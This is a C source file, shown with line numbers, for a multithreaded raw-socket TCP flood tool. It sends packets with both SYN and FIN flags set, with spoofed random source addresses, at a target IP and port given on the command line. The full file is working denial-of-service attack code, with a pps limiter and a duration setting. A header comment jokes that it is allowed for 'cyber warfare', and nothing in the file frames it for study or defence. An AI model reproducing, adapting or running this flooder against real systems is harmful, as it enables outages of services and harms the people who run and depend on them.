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| 1 | /* | |
| 2 | * This is released under the GNU GPL License v3.0, and is allowed to be used for cyber warfare. ;) | |
| 3 | */ | |
| 4 | #include <unistd.h> | |
| 5 | #include <time.h> | |
| 6 | #include <sys/types.h> | |
| 7 | #include <sys/socket.h> | |
| 8 | #include <sys/ioctl.h> | |
| 9 | #include <string.h> | |
| 10 | #include <stdlib.h> | |
| 11 | #include <stdio.h> | |
| 12 | #include <pthread.h> | |
| 13 | #include <netinet/tcp.h> | |
| 14 | #include <netinet/ip.h> | |
| 15 | #include <netinet/in.h> | |
| 16 | #include <netinet/if_ether.h> | |
| 17 | #include <netdb.h> | |
| 18 | #include <net/if.h> | |
| 19 | #include <arpa/inet.h> | |
| 20 | #define MAX_PACKET_SIZE 4096 | |
| 21 | #define PHI 0x9e3779b9 | |
| 22 | static unsigned long int Q[4096], c = 362436; | |
| 23 | static unsigned int floodport; | |
| 24 | volatile int limiter; | |
| 25 | volatile unsigned int pps; | |
| 26 | volatile unsigned int sleeptime = 100; | |
| 27 | void init_rand(unsigned long int x) | |
| 28 | {
| |
| 29 | int i; | |
| 30 | Q[0] = x; | |
| 31 | Q[1] = x + PHI; | |
| 32 | Q[2] = x + PHI + PHI; | |
| 33 | for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
| |
| 34 | } | |
| 35 | unsigned long int rand_cmwc(void) | |
| 36 | {
| |
| 37 | unsigned long long int t, a = 18782LL; | |
| 38 | static unsigned long int i = 4095; | |
| 39 | unsigned long int x, r = 0xfffffffe; | |
| 40 | i = (i + 1) & 4095; | |
| 41 | t = a * Q[i] + c; | |
| 42 | c = (t >> 32); | |
| 43 | x = t + c; | |
| 44 | if (x < c) {
| |
| 45 | x++; | |
| 46 | c++; | |
| 47 | } | |
| 48 | return (Q[i] = r - x); | |
| 49 | } | |
| 50 | unsigned short csum (unsigned short *buf, int count) | |
| 51 | {
| |
| 52 | register unsigned long sum = 0; | |
| 53 | while( count > 1 ) { sum += *buf++; count -= 2; }
| |
| 54 | if(count > 0) { sum += *(unsigned char *)buf; }
| |
| 55 | while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
| |
| 56 | return (unsigned short)(~sum); | |
| 57 | } | |
| 58 | unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
| |
| 59 | struct tcp_pseudo | |
| 60 | {
| |
| 61 | unsigned long src_addr; | |
| 62 | unsigned long dst_addr; | |
| 63 | unsigned char zero; | |
| 64 | unsigned char proto; | |
| 65 | unsigned short length; | |
| 66 | } pseudohead; | |
| 67 | unsigned short total_len = iph->tot_len; | |
| 68 | pseudohead.src_addr=iph->saddr; | |
| 69 | pseudohead.dst_addr=iph->daddr; | |
| 70 | pseudohead.zero=0; | |
| 71 | pseudohead.proto=IPPROTO_TCP; | |
| 72 | pseudohead.length=htons(sizeof(struct tcphdr)); | |
| 73 | int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr); | |
| 74 | unsigned short *tcp = malloc(totaltcp_len); | |
| 75 | memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo)); | |
| 76 | memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr)); | |
| 77 | unsigned short output = csum(tcp,totaltcp_len); | |
| 78 | free(tcp); | |
| 79 | return output; | |
| 80 | } | |
| 81 | ||
| 82 | void setup_ip_header(struct iphdr *iph) | |
| 83 | {
| |
| 84 | iph->ihl = 5; | |
| 85 | iph->version = 4; | |
| 86 | iph->tos = 0; | |
| 87 | iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr); | |
| 88 | iph->id = htonl(54321); | |
| 89 | iph->frag_off = 0; | |
| 90 | iph->ttl = MAXTTL; | |
| 91 | iph->protocol = 6; | |
| 92 | iph->check = 0; | |
| 93 | iph->saddr = inet_addr("192.168.3.100");
| |
| 94 | } | |
| 95 | ||
| 96 | void setup_tcp_header(struct tcphdr *tcph) | |
| 97 | {
| |
| 98 | tcph->source = htons(5678); | |
| 99 | tcph->seq = rand(); | |
| 100 | tcph->ack_seq = rand(); | |
| 101 | tcph->res2 = 0; | |
| 102 | tcph->doff = 5; | |
| 103 | tcph->syn = 1; | |
| 104 | tcph->fin = 1; | |
| 105 | tcph->window = rand(); | |
| 106 | tcph->check = 0; | |
| 107 | tcph->urg_ptr = 0; | |
| 108 | } | |
| 109 | void *flood(void *par1) | |
| 110 | {
| |
| 111 | char *td = (char *)par1; | |
| 112 | char datagram[MAX_PACKET_SIZE]; | |
| 113 | struct iphdr *iph = (struct iphdr *)datagram; | |
| 114 | struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr); | |
| 115 | struct sockaddr_in sin; | |
| 116 | sin.sin_family = AF_INET; | |
| 117 | sin.sin_port = htons(floodport); | |
| 118 | sin.sin_addr.s_addr = inet_addr(td); | |
| 119 | int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP); | |
| 120 | if(s < 0){
| |
| 121 | fprintf(stderr, "Could not open raw socket.\n"); | |
| 122 | exit(-1); | |
| 123 | } | |
| 124 | memset(datagram, 0, MAX_PACKET_SIZE); | |
| 125 | setup_ip_header(iph); | |
| 126 | setup_tcp_header(tcph); | |
| 127 | tcph->dest = htons(floodport); | |
| 128 | iph->daddr = sin.sin_addr.s_addr; | |
| 129 | iph->check = csum ((unsigned short *) datagram, iph->tot_len); | |
| 130 | int tmp = 1; | |
| 131 | const int *val = &tmp; | |
| 132 | if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
| |
| 133 | fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n"); | |
| 134 | exit(-1); | |
| 135 | } | |
| 136 | init_rand(time(NULL)); | |
| 137 | register unsigned int i; | |
| 138 | i = 0; | |
| 139 | while(1){
| |
| 140 | sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin)); | |
| 141 | iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF); | |
| 142 | iph->id = htonl(rand_cmwc() & 0xFFFFFFFF); | |
| 143 | iph->check = csum ((unsigned short *) datagram, iph->tot_len); | |
| 144 | tcph->seq = rand_cmwc() & 0xFFFF; | |
| 145 | tcph->source = htons(rand_cmwc() & 0xFFFF); | |
| 146 | tcph->check = 0; | |
| 147 | tcph->check = tcpcsum(iph, tcph); | |
| 148 | pps++; | |
| 149 | if(i >= limiter) | |
| 150 | {
| |
| 151 | i = 0; | |
| 152 | usleep(sleeptime); | |
| 153 | } | |
| 154 | i++; | |
| 155 | } | |
| 156 | } | |
| 157 | int main(int argc, char *argv[ ]) | |
| 158 | {
| |
| 159 | if(argc < 6){
| |
| 160 | fprintf(stderr, "Invalid parameters!\n"); | |
| 161 | fprintf(stdout, "Usage: %s <target IP> <port to be flooded> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]); | |
| 162 | exit(-1); | |
| 163 | } | |
| 164 | fprintf(stdout, "Setting up Sockets...\n"); | |
| 165 | int num_threads = atoi(argv[3]); | |
| 166 | floodport = atoi(argv[2]); | |
| 167 | int maxpps = atoi(argv[4]); | |
| 168 | limiter = 0; | |
| 169 | pps = 0; | |
| 170 | pthread_t thread[num_threads]; | |
| 171 | int multiplier = 20; | |
| 172 | int i; | |
| 173 | for(i = 0;i<num_threads;i++){
| |
| 174 | pthread_create( &thread[i], NULL, &flood, (void *)argv[1]); | |
| 175 | } | |
| 176 | fprintf(stdout, "Starting Flood...\n"); | |
| 177 | for(i = 0;i<(atoi(argv[5])*multiplier);i++) | |
| 178 | {
| |
| 179 | usleep((1000/multiplier)*1000); | |
| 180 | if((pps*multiplier) > maxpps) | |
| 181 | {
| |
| 182 | if(1 > limiter) | |
| 183 | {
| |
| 184 | sleeptime+=100; | |
| 185 | } else {
| |
| 186 | limiter--; | |
| 187 | } | |
| 188 | } else {
| |
| 189 | limiter++; | |
| 190 | if(sleeptime > 25) | |
| 191 | {
| |
| 192 | sleeptime-=25; | |
| 193 | } else {
| |
| 194 | sleeptime = 0; | |
| 195 | } | |
| 196 | } | |
| 197 | pps = 0; | |
| 198 | } | |
| 199 | ||
| 200 | return 0; | |
| 201 | } |
